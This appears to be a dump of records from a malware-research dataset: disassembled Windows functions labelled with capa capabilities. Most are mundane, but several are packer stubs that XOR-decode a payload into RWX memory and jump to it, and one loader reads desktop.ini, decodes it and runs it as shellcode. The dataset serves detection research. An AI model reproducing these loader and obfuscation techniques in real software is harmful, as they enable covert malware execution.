joyce8/EMBER2024-capa huggingface dataset:
Function at 0x435dd1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_IsWindow]
push dword [esi + 0x44]
call edi
test eax, eax
je 0x435f5a
push dword [ebp + 8]
call edi
test eax, eax
je 0x435f5a
cmp dword [ebp + 0xc], 0xffffffff
jne 0x435e29
push dword [ebp + 8]
mov ecx, esi
call fcn.00436435
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
jne 0x435e29
push dword [ebp + 0x10]
mov ecx, esi
push dword [ebp + 8]
call fcn.004362b2
jmp 0x435f5a
lea eax, [ebp - 0x468]
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x40]
push eax
mov ebx, 0x104
push dword [ebp + 0xc]
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x30], ebx
push 0x133c
push dword [esi + 0x44]
call edi
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x28], eax
jne 0x435f5a
lea ecx, [ebp - 0x260]
push ebx
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x260]
lea ecx, [ebp - 4]
push eax
mov dword [ebp - 0x24], 1
call fcn.0040811c
mov eax, dword [ebp - 4]
mov eax, dword [eax - 8]
cmp eax, 0x20
jle 0x435ec6
add eax, 0xffffffe0
lea ecx, [ebp - 4]
push eax
push 0x20
call fcn.00408ab9
push 0x4804a0
lea ecx, [ebp - 8]
call fcn.004013c8
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
push eax
push dword [eax - 8]
call fcn.00401658
lea ecx, [ebp - 8]
call fcn.0040139c
xor ebx, ebx
lea ecx, [ebp - 4]
push ebx
call fcn.004016d4
mov dword [ebp - 0x18], eax
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 0x94]
call fcn.00436785
push eax
lea ecx, [ebp - 0x58]
call fcn.0043600d
cmp dword [ebp + 0x10], ebx
je 0x435f0c
push dword [ebp + 0x10]
or dword [ebp - 0x24], 2
push 0xffffffffffffffff
push dword [esi + 0x84]
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 0xc]
push 0x133d
push dword [esi + 0x44]
call edi
mov eax, dword [esi + 0x3c]
push ebx
add eax, 4
push ebx
push 0x229
push dword [eax + 4]
call edi
cmp dword [ebp + 8], eax
jne 0x435f42
push ebx
push dword [ebp + 0xc]
push 0x130c
push dword [esi + 0x44]
call edi
lea ecx, [ebp - 0x44]
call fcn.0040139c
lea ecx, [ebp - 0x48]
call fcn.0040139c
lea ecx, [ebp - 4]
call fcn.0040139c
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x43fcca
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
push esi
push edi
mov eax, dword [ecx]
mov esi, dword [eax - 8]
lea eax, [esi + 1]
push eax
call fcn.004016d4
xor edx, edx
mov edi, eax
cmp esi, edx
jle 0x43fcfe
mov ecx, esi
cmp word [eax], 0xa
jne 0x43fcf9
mov word [eax], dx
inc eax
inc eax
dec ecx
jne 0x43fcf0
push 0x1e
lea eax, [ebp - 0x20]
push edx
push eax
mov word [edi + esi*2], dx
call fcn.0046aa50
mov eax, dword [ebx + 4]
add esp, 0xc
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], edi
mov word [ebp - 0x10], 0x40
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x44032d
Capabilities:
Hide graphical window

Disassembly:
xor eax, eax
push esi
cmp dword [0x481998], eax
mov esi, ecx
sete al
push eax
push ecx
mov ecx, esp
push str.m_start_info
mov dword [0x481998], eax
call fcn.004013c8
push ecx
mov ecx, esp
push 0x47ede0
call fcn.004013c8
call fcn.0042dc89
add esp, 0xc
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esp + 0x14]
pop esi
mov dword [eax], 1
xor eax, eax
ret 0x10

Function at 0x440999
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [ecx + 0x634]
test eax, eax
je 0x4409ac
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
ret

Function at 0x440e29
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x488b6c]
push esi
push edi
mov dword [ebp - 0x21c], eax
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x218]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0x104
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 2
xor edx, edx
pop esi
push 0x5c
pop edi
cmp word [ebp - 0x21c], di
jne 0x440eab
cmp word [ebp - 0x21a], di
jne 0x440eab
mov ecx, dword [ebp - 0x218]
lea eax, [ebp - 0x218]
mov dword [ebp - 4], eax
cmp cx, dx
je 0x440ea4
cmp cx, di
je 0x440ea4
add eax, esi
mov dword [ebp - 4], eax
mov cx, word [eax]
jmp 0x440e90
cmp word [eax], dx
je 0x440eb4
jmp 0x440ec1
lea eax, [ebp - 0x21c]
mov dword [ebp - 4], eax
mov cx, word [eax]
cmp cx, dx
je 0x440ec5
cmp cx, di
je 0x440ec5
add eax, esi
jmp 0x440eb1
cmp word [eax], dx
je 0x440ed2
add eax, esi
mov dword [ebp - 4], eax
mov word [eax], dx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
test eax, eax
jne 0x440ef8
or esi, 0xffffffff
jmp 0x440eff
mov esi, dword [ebp - 0xc]
imul esi, dword [ebp - 8]
lea ecx, [ebp + 8]
call fcn.0040139c
mov eax, esi
pop edi
pop esi
leave
ret 4

Function at 0x4411de
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [ecx + 0x644]
push esi
lea esi, [ecx + 0x644]
test eax, eax
je 0x4411fe
push 0xaffe
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
and dword [esi], 0
pop esi
ret
Function at 0x32029ddf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x32029dee
pop dword [ebp - 0x3c]
mov eax, 0x32029dee
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x88f78a51
sub dword [ebp - 0x4c], 0x3aa54506
mov dword [ebp - 0x48], 0x9150dd51
add dword [ebp - 0x48], 0xa0e26ef4
mov dword [ebp - 0x44], 0xeccd0d10
add dword [ebp - 0x44], 0x5f7f371e
mov dword [ebp - 0x40], 0xfe0a93e1
add dword [ebp - 0x40], 0x1f56c1f
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x2f088bd
add eax, 0x2f14a7c7
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x3fd68f50
sub dword [ebp - 0x4c], 0xcb6425fa
mov dword [ebp - 0x48], 0x80371b3f
sub dword [ebp - 0x48], 0x3ecab9ca
mov dword [ebp - 0x44], 0x38ba157
add dword [ebp - 0x44], 0x5fe3cb15
mov dword [ebp - 0x40], 0x34fdd250
sub dword [ebp - 0x40], 0x34fdd250
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x77ea91bf
sub eax, 0x45e56143
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x49384
push 0
call eax
mov ecx, 0xc451dc9
sub ecx, 0xc44ce35
mov edx, eax
mov ebx, 0xe55bed33
sub ebx, 0xb3544b33
add ebx, dword [ebp - 0x3c]
mov esi, 0xf6df8cc8
sub esi, 0xf948869f
sub dword [ebp - 0x20], ebx
mov edi, dword [ebx]
add dword [ebp - 0x2c], edx
xor edi, esi
sub dword [ebp - 0x18], 0xb640365a
mov dword [edx], edi
mov dword [ebp - 0x28], 0x15bb08f3
add edx, 0xcca3ded6
add edx, 0x335c212e
add ebx, 4
loop 0x32029f0b
add eax, 0x13123
mov ebx, eax
add eax, 0x63a013ad
add eax, 0x9c5fec58
mov ecx, 0x32000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x405d43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x405d52
pop dword [ebp - 0x4c]
mov eax, 0x405d52
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xe318c21e
sub dword [ebp - 0x5c], 0x94c67cd3
mov dword [ebp - 0x58], 0x4270e5f0
add dword [ebp - 0x58], 0xefc26655
mov dword [ebp - 0x54], 0x3a21f7aa
add dword [ebp - 0x54], 0x122a4c84
mov dword [ebp - 0x50], 0x258daa08
sub dword [ebp - 0x50], 0x258daa08
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x35e5feb9
sub eax, 0x35a58d75
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x8c073212
add dword [ebp - 0x5c], 0xe86b3744
mov dword [ebp - 0x58], 0x5c69cdb4
add dword [ebp - 0x58], 0xe50293c1
mov dword [ebp - 0x54], 0xf185f68c
add dword [ebp - 0x54], 0x71e975e0
mov dword [ebp - 0x50], 0x7c3be34e
sub dword [ebp - 0x50], 0x7c3be34e
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x6bdfe765
sub eax, 0x6b9f7655
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x39ae9
push 0
call eax
mov ecx, 0x52f0
mov edx, eax
mov edi, 0x436000
add edi, dword [ebp - 0x4c]
mov esi, 0xeec32e98
add dword [ebp - 0x34], 0x91488a48
mov ebx, dword [edi]
add dword [ebp - 4], 0xa76d6dcb
xor ebx, esi
sub dword [ebp - 0x18], edi
mov dword [edx], ebx
add dword [ebp - 0x3c], ebx
add edx, 0xb3fb74ca
add edx, 0x4c048b3a
add edi, 0x9a1c50ca
sub edi, 0x9a1c50c6
loop 0x405e5d
add eax, 0x13e93
mov ebx, eax
add eax, 0x728ad619
add eax, 0x8d7529ec
mov ecx, 0x517d034e
sub ecx, 0x513d034e
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x406120
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422af4], 0
push esi
jne 0x406157
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406131
mov dword [ecx*4 + 0x422af0], eax
inc ecx
cmp ecx, 0x100
jl 0x40612c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406188
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422af0]
xor eax, esi
inc ecx
dec edx
jne 0x40616a
pop edi
not eax
pop esi
ret 0xc
Function at 0x402f0f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408010]
jne 0x404450
repz ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x409368], eax
mov dword [0x409364], ecx
mov dword [0x409360], edx
mov dword [0x40935c], ebx
mov dword [0x409358], esi
mov dword [0x409354], edi
mov word [0x409380], ss
mov word [0x409374], cs
mov word [0x409350], ds
mov word [0x40934c], es
mov word [0x409348], fs
mov word [0x409344], gs
pushfd
pop dword [0x409378]
mov eax, dword [ebp]
mov dword [0x40936c], eax
mov eax, dword [ebp + 4]
mov dword [0x409370], eax
lea eax, [ebp + 8]
mov dword [0x40937c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4092b8], 0x10001
mov eax, dword [0x409370]
mov dword [0x40926c], eax
mov dword [0x409260], 0xc0000409
mov dword [0x409264], 1
mov eax, dword [0x408010]
mov dword [ebp - 0x328], eax
mov eax, dword [0x408014]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x4092b0], eax
push 1
call fcn.00406093
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x401d80
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x4092b0], 0
jne 0x40453c
push 1
call fcn.00406093
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x40614e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40615d
pop dword [ebp - 0x38]
mov eax, 0x2636329a
sub eax, 0x25f5d13d
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x933e060b
sub dword [ebp - 0x48], 0x44ebc0c0
mov dword [ebp - 0x44], 0xa6dacd93
add dword [ebp - 0x44], 0x8b587eb2
mov dword [ebp - 0x40], 0x4e5b4e8b
sub dword [ebp - 0x40], 0x20f0a5d
mov dword [ebp - 0x3c], 0xc5813927
sub dword [ebp - 0x3c], 0xc5813927
lea eax, [ebp - 0x48]
push eax
mov eax, 0xde3efc81
sub eax, 0xddfeec65
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x801b8dd1
add dword [ebp - 0x48], 0xf456db85
mov dword [ebp - 0x44], 0x17cb3d87
add dword [ebp - 0x44], 0x29a123ee
mov dword [ebp - 0x40], 0xf8fda84d
add dword [ebp - 0x40], 0x6a71c41f
mov dword [ebp - 0x3c], 0x7245c080
sub dword [ebp - 0x3c], 0x7245c080
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x18aee936
sub eax, 0x186ed912
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x37b1e
push 0
call eax
mov ecx, 0x1a832c8b
sub ecx, 0x1a82e550
mov edi, eax
mov ebx, 0x24b19d22
add ebx, 0xdb919ade
add ebx, dword [ebp - 0x38]
mov edx, 0xc1a1e8e5
sub edx, 0x189f30e5
add dword [ebp - 0x14], 0x4167f8d1
mov esi, dword [ebx]
xor dword [ebp - 0x18], ebx
add esi, edx
mov dword [edi], esi
sub dword [ebp - 0x30], 0x7ae87ba
add edi, 4
add ebx, 4
loop 0x40627f
add eax, 0x10fbf
mov ebx, eax
add eax, 0x3e02b046
add eax, 0xc1fd4fbf
mov ecx, 0x6d66a36e
sub ecx, 0x6d26a36e
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1002999d
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1002999d
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret

Function at 0x1002999d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x100299ac
pop dword [ebp - 0x14]
mov eax, 0x100299ac
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x41106
push 0
mov eax, 0x40503866
sub eax, 0x304cd78a
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x67229f42
sub ecx, 0x672254bc
mov edi, eax
mov ebx, 0x1003be00
add ebx, dword [ebp - 0x14]
mov edx, 0xb138cb1b
sub edx, 0x979789af
xor dword [ebp - 0xc], 0xe5865607
mov esi, dword [ebx]
xor dword [ebp - 0x10], 0xe0491da4
add esi, edx
add dword [ebp - 0x10], edx
mov dword [edi], esi
add edi, 0x5f28d8a1
sub edi, 0x5f28d89d
add ebx, 0x6bc6f2a4
sub ebx, 0x6bc6f2a0
loop 0x10029a00
add eax, 0xb7bda4dd
add eax, 0x4843780e
mov ebx, eax
add eax, 0x998f5d33
sub eax, 0x998f5d2e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4104dc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x4104eb
pop dword [ebp - 0x48]
mov eax, 0x4104eb
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3dfe6
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x20d882f6
sub ecx, 0x20d83a09
xor ebx, ebx
add ebx, eax
mov esi, 0x132d259d
sub esi, 0x12e9d19d
add esi, dword [ebp - 0x48]
mov edi, 0xbff6a95f
xor dword [ebp - 0x30], 0x574c75de
mov edx, dword [esi]
add dword [ebp - 0x2c], 0xd13f9ed4
xor edx, edi
add dword [ebp - 0x40], 0x22832f7c
mov dword [ebx], edx
add dword [ebp - 0x38], 0xce10a5f1
add ebx, 0x26e960c6
sub ebx, 0x26e960c2
add esi, 0xf01306
add esi, 0xff0fecfe
loop 0x41053c
add eax, 0x11687
mov ebx, eax
add eax, 0x81001a5e
sub eax, 0x81001a59
mov ecx, 0xd5406f10
sub ecx, 0xd5006f10
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x41d2d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040e95e
and dword [ebp - 4], 0
cmp dword [0x4310f8], 0
mov ebx, eax
jne 0x41d386
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41d437
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x42d324
push edi
call esi
test eax, eax
je 0x41d437
push eax
call fcn.004104dc
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4310f8], eax
call esi
push eax
call fcn.004104dc
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4310fc], eax
call esi
push eax
call fcn.004104dc
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x431100], eax
call esi
push eax
call fcn.004104dc
pop ecx
mov dword [0x431108], eax
test eax, eax
je 0x41d386
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004104dc
pop ecx
mov dword [0x431104], eax
mov eax, dword [0x431104]
cmp eax, ebx
je 0x41d3de
cmp dword [0x431108], ebx
je 0x41d3de
push eax
call fcn.004104dc
push dword [0x431108]
mov esi, eax
call fcn.004104dc
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41d3de
test edi, edi
je 0x41d3de
call esi
test eax, eax
je 0x41d3d5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41d3d5
test byte [ebp - 0xc], 1
jne 0x41d3de
or dword [ebp + 0x10], 0x200000
jmp 0x41d417
mov eax, dword [0x4310fc]
cmp eax, ebx
je 0x41d417
push eax
call fcn.004104dc
pop ecx
test eax, eax
je 0x41d417
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41d417
mov eax, dword [0x431100]
cmp eax, ebx
je 0x41d417
push eax
call fcn.004104dc
pop ecx
test eax, eax
je 0x41d417
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4310f8]
call fcn.004104dc
pop ecx
test eax, eax
je 0x41d437
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41d439
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4013dc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
cmp dword [0x40a03b8], 0x594
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x2c], esi
mov ebx, dword [esi]
mov edi, dword [esi + 4]
mov dword [ebp - 0x10], ebx
jne 0x401412
push 0
lea eax, [ebp - 0x44c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x4192f8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
mov dword [ebp - 0x20], eax
mov eax, dword [0x4192fc]
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x28], eax
call fcn.004013d2
mov ecx, dword [0x419300]
mov eax, dword [0x419304]
add dword [ebp - 4], 0x23f
push 0x20
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], eax
pop esi
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, ebx
mov edx, 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x40a03b8], 0xfa9
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [0x40a03b4]
cmove eax, edx
xor edx, edx
cmp dword [0x40a03b8], 0x3eb
mov dword [0x40a03b4], eax
mov eax, dword [0x409c7bc]
cmove eax, edx
add ecx, ebx
mov dword [0x409c7bc], eax
mov eax, dword [ebp - 0x10]
shr eax, 5
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
xor ebx, ebx
mov eax, dword [ebp - 8]
xor edx, ecx
add eax, dword [ebp - 0x1c]
mov ecx, dword [0x40a03b8]
xor eax, edx
mov dword [0x40a03b0], 0xf4ea3dee
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
cmp ecx, 0x213
jne 0x401546
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push ebx
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea eax, [ebp - 0xc4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
lea eax, [ebp - 0x44c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov eax, dword [ebp - 8]
mov ecx, dword [0x40a03b8]
sub edi, eax
cmp ecx, 0xc
jne 0x401554
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, edi
shl eax, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
mov eax, edi
mov edx, dword [ebp - 4]
shr eax, cl
add edx, edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x10]
xor eax, edx
mov edx, dword [ebp - 0xc]
xor edx, eax
mov dword [ebp - 0xc], edx
call fcn.004013d9
mov eax, dword [ebp - 0x18]
sub dword [ebp - 4], eax
dec esi
je 0x4015a0
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
jmp 0x401450
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov dword [esi + 4], edi
pop edi
mov dword [esi], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret